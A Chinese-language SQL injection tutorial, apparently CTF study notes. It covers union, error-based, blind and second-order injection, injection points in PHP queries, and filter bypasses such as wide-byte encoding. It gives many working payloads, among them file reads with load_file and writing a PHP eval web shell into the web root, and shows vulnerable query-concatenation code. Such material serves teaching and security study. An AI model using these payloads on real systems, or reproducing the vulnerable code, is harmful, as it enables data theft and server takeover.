1. SQL 注入介绍
Web应用开发过程中,为了内容的快速更新,很多开发者使用数据库进行数据存储。而由于开发者在程序编写过程中,对传入用户数据的过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句中,再将这些查询语句传递给后端的数据库执行,从而引发实际执行的语句与预期功能不一致的情况。这种攻击被称为SQL注入攻击。
2. 分类
2.1
可回显: UNION注入、报错注入
不可回显: Bool盲注、时间盲注
二次注入
2.2
数字类型
字符类型
搜索类型
3. 各种注入介绍
3.1 UNION注入
需要显示位,并且union之前SQL语句没有返回值,以便将显示位留给union注入。
3.2 报错注入
3.2.1 updatexml
原理: 本质上来说就是函数的报错。
payload:xxx.com?id=1' updatexml(1, concat(0x7e, (select database()), 0x7e),1) #
3.2.2 floor
原理: floor, count, rand和(order by 或 group by) 的冲突。利用数据库表主键不能重复的原理, 使用group by 分组,产生主键冗余,导致报错。
payload:
xxx.com?id=1' and (select count(*),1,concat( (select database()), floor(rand(0)*2))a from information_schema.tables group by a) #
3.2.3 exp
原理: 溢出报错
payload:
xxx.com?id=1' and exp(~(select * from (select database())x)) #
3.3 Bool盲注
原理: Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误界面等。
payload:
xxx.com?id=1' and 1234=1234 #
xxx.com?id=1' and 1234=1233 #
xxx.com?id=1' and substr(select database(),1,1)='a' #
3.4 时间盲注
原理: 时间盲注出现的本质原因也是由于服务器端拼接了SQL语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间及进行按位判断数据。
时间盲注类似于Bool盲注,只不过时在验证阶段有所不同。Bool盲注时根据页面回显的不同来判断的,而时间盲注是根据页面响应时间来判断结果的。一般来说,延迟的时间可以根据客户端与服务器端之间响应的时间来进行选择,选择一个合适的时间即可。一般来说,时间盲注的函数有sleep()和benchmark()两个。
3.4.1 sleep()
睡眠函数,可以使查询数据时回显数据的响应时间加长。
payload:
xxx.com?id=1 and if(substr(database(),1,1)='a', sleep(5))#
3.4.2 benchmark()
重复执行某个语句的函数。通常需要进行消耗时间和性能的计算,比如哈希计算函数MD5(), 将MD5函数重复执行数万次则可以达到延迟的效果。
payload:
xxx.com?id=1 and if(substr(database(),1,1)='1', benchmark(100000,md5(‘hacker’)))
3.5 二次注入
原理: 数据在第一次入库的时候进行了一些过滤及转义,这条数据从数据库中取出来会在SQL语句中进行拼接,而在这次拼接中没有进行过滤,因此能执行构造好的SQL语句。
例如:
用户输入的用户名 admin'or'1
经过转义变成了 admin\'or\'1
这样 SQL语句为:
insert into wp_user values(2,'admin\'or\'1','pwd');
id | username | password |
---|---|---|
1 | admin | password |
2 | admin’or’1 | pwd |
数据正常入库,且转义只发生在入库之前,入库的数据为我们特意构造的原数据。此时,当该用户再次被使用时,会发生注入:
select password from wp_user where username = 'admin'or'1';
可见,结果会展示所有用户的密码。
4. 注入点
4.1 select 注入
4.1.1 注入点在 select_expr
PHP 中的 SQL 查询语句:
...
$res = mysqli_query($conn, "select ${_GET['id']}, content from wp_news");
...
payload:
xxx.com?id = (select pwd from wp_user) as title
如果注入点有反引号包裹,那么需要先闭合反引号。
4.1.2 注入点在 table_reference
PHP 中的 SQL 查询语句:
...
$res = mysqli_query($conn, "select title from ${_GET['table']}");
...
payload:
xxx.com?table = (select pwd as title from wp_user)
如果注入点有反引号包裹,那么需要先闭合反引号。
4.1.3 注入点在 where 或 having 后
PHP 中的 SQL 查询语句:
...
$res = mysqli_query($conn, "select title from wp_news where id=${_GET['id']}");
$res = mysqli_query($conn, "select title from wp_news having id=${_GET['id']}");
...
payload:参考第三部分
4.1.4 注入点在 group by 或 order by 后
PHP 中的 SQL 查询语句:
...
$res = mysqli_query($conn, "select title from wp_news group by ${_GET['title']}");
...
payload:
xxx.com?table = id desc,(if(1,sleep(1),1)) -- 可以让页面延迟1秒,因此可以利用时间盲注
4.1.5 limit之后的注入
前提: MySQL版本号大于5.0.0且小于5.6.6。
PHP 中的 SQL 查询语句:
...
$res = mysqli_query($conn, "select title from wp_news limit ${_GET['num']}");
...
payload:
xxx.com?num = 1,1 procedure analyse(extractvalue(rand(), concat(0x7e, database(), 0x7e)),1)
4.2 insert 注入
假设数据库中 wp_user 表的格式为:
id | sign | username | password |
---|---|---|---|
1 | 1 | admin | password |
其中 sign = 1 表示该用户为管理员,sign = 2 表示该用户为普通用户。
4.2.1 注入点在 table_name
PHP 中的 SQL 查询语句:
...
$res = mysqli_query($conn, "insert into ${_GET['table']} values(2,2,'a','a')");
...
payload:
xxx.com?table= wp_user values(2,'newadmin','newpass') --
此时,表为:
id | sign | username | password |
---|---|---|---|
1 | 1 | admin | password |
2 | 2 | a | a |
4.2.2 注入点在 values
PHP 中的 SQL 查询语句:
...
$res = mysqli_query($conn, "insert into wp_user values(2,2,${_GET['user']},${_GET['pwd']})");
...
payload:
xxx.com?user = 'b' & pwd = 'b'),(3,1,'newadmin','newpass'
此时,表为:
id | sign | username | password |
---|---|---|---|
1 | 1 | admin | password |
2 | 2 | b | b |
3 | 1 | newadmin | newpass |
4.3 update 注入
假设数据库中 wp_user 表为:
id | sign | username | password |
---|---|---|---|
1 | 1 | admin | password |
2 | 2 | b | b |
3 | 1 | newadmin | newpass |
PHP 中的 SQL 查询语句:
...
$res = mysqli_query($conn, "update wp_user set id=${_GET['id']} where username='b'");
...
payload:
xxx.com?id = 3, password = 'c'
此时,表为:
id | sign | username | password |
---|---|---|---|
1 | 1 | admin | password |
3 | 2 | b | c |
3 | 1 | newadmin | newpass |
4.4 delete 注入
delete 注入大多发生在 where 之后。
...
$res = mysqli_query($conn, "delete from wp_user where id=${_GET['id']}");
...
因为 delete 语句的作用是删除某个表的全部或指定行的数据。对 id 参数进行注入时,稍有不慎就会使 where 后的值为 True,导致整个 wp_news 的数据被删除。
为了保证不会对正常数据造成干扰,通常使用 'and sleep(1)'
的方式保证 where 后的结果返回为 False,让语句无法成功执行。
payload:
xxx.com?id = 1 and sleep(1)
4.5 HTTP中常见的注入点位置
- GET
- POST
- User-Agent
- Cookies
4.6 注入点是否存在
- 插入单引号
- 数字型判断 (and 1=1 或 ‘ and ‘1’=’1)
- 通过数字的加减进行判断(id=2和id=1+1的结果是否相同)
5. 绕过
5.1 过滤关键字
- 穿插关键字:selselectect
- 大小写转换:SeLeCt
- 十六进制:selec\x74
- 双重URL编码
5.2 过滤空格
- 通过注释绕过: # – // /**/ ;%00
- 双重URL编码绕过:%2520
- 空白字符绕过(十六进制):%
- SQLite3:0A, 0D, 0C, 09, 20
- MySQL5:09, 0A, 0B, 0C, 0D, A0, 20
- PosgreSQL:0A, 0D, 0C, 09, 20
- Oracle 11g:00, 0A, 0D, 0C, 09, 20
- MSSQL:01-20, 0A-0F, 1A-1F
- 换行符
- 特殊符号:反引号(``)、加号(+)
- 科学计数法:e1
5.3 过滤单引号
- 绕过单引号过滤遇到最多的是魔术引号,也就是PHP配置文件php.ini中的magic_quote_gpc。当PHP版本号小于5.4时 (PHP5.3废弃魔术引号,PHP5.4移除),如果我们遇到的时GB2312、GBK等宽字节编码 (不是网页的编码),可以在注入点增加%df尝试进行宽字节注入 (如%df%27)。原理在于PHP发送请求到MySQL时字符集使用character_set_client设置值进行了一次编码,从而绕过了对单引号的过滤。
- 开发者常会将用户的输入全局地做一次addslashes,也就是转义如单引号、反斜杠等字符,如 ‘ 变为 \’ 。开发者常常会用到形如urldecode、base64_decode的解码函数或者自定义的加解密函数。当用户输入addslashes函数时,数据处于编码状态,引号无法被转义,解码后如果直接进入SQL语句即可造成注入,同样的情况也发生在加密/解密、字符集转换的情况,如上述的宽字节。
- 二次注入
- 字符串截断。在标题、抬头等位置,开发者可能限定标题的字符不能超过10个字符,超过则会被截断。假设攻击者输入 aaaaaaaaa’ 自动转义为 aaaaaaaaa\’ 由于字符长度限制,被截取为 aaaaaaaaa\ 这样就可以转义预置的单引号。
6. SQL读写文件
以MySQL数据为例,在MySQL用户拥有File权限的情况下,可以使用load_file和into outfile/dumpfile进行读写。
pyload:
xxx.com?id=-1 union select load_file('etc/hosts')
xxx.com?id=-1 union select '<?php eval($_GET[hack]);?>' into outfile 'var/www/html/shell.php'
xxx.com?id=-1 union select unhex(一句话shell的十六进制) into dumpfile 'var/www/html/shell.php'
7. 危害
(1) 在有写文件权限的情况下,直接用INTO OUTFILE 或者 DUMPFILE 向Web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果。
(2) 在有读文件权限的情况下,用 load_file()函数读取网站源码和配置信息,获取敏感数据。
(3) 提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调整用户权限等,从而拥有更多的网站功能。
(4) 通过注入控制数据库查询出来的数据,控制如模板、缓存等文件的内容来获取权限,或者删除、读取某些关键文件。
(5) 在可以执行多语句的情况下,控制整个数据库,包括控制任意数据、任意字段长度等。
(6) 在SQLServer这类数据库中可以直接执行系统命令。
References:
《从0到1 CTFer成长之路》
《CTF特训营》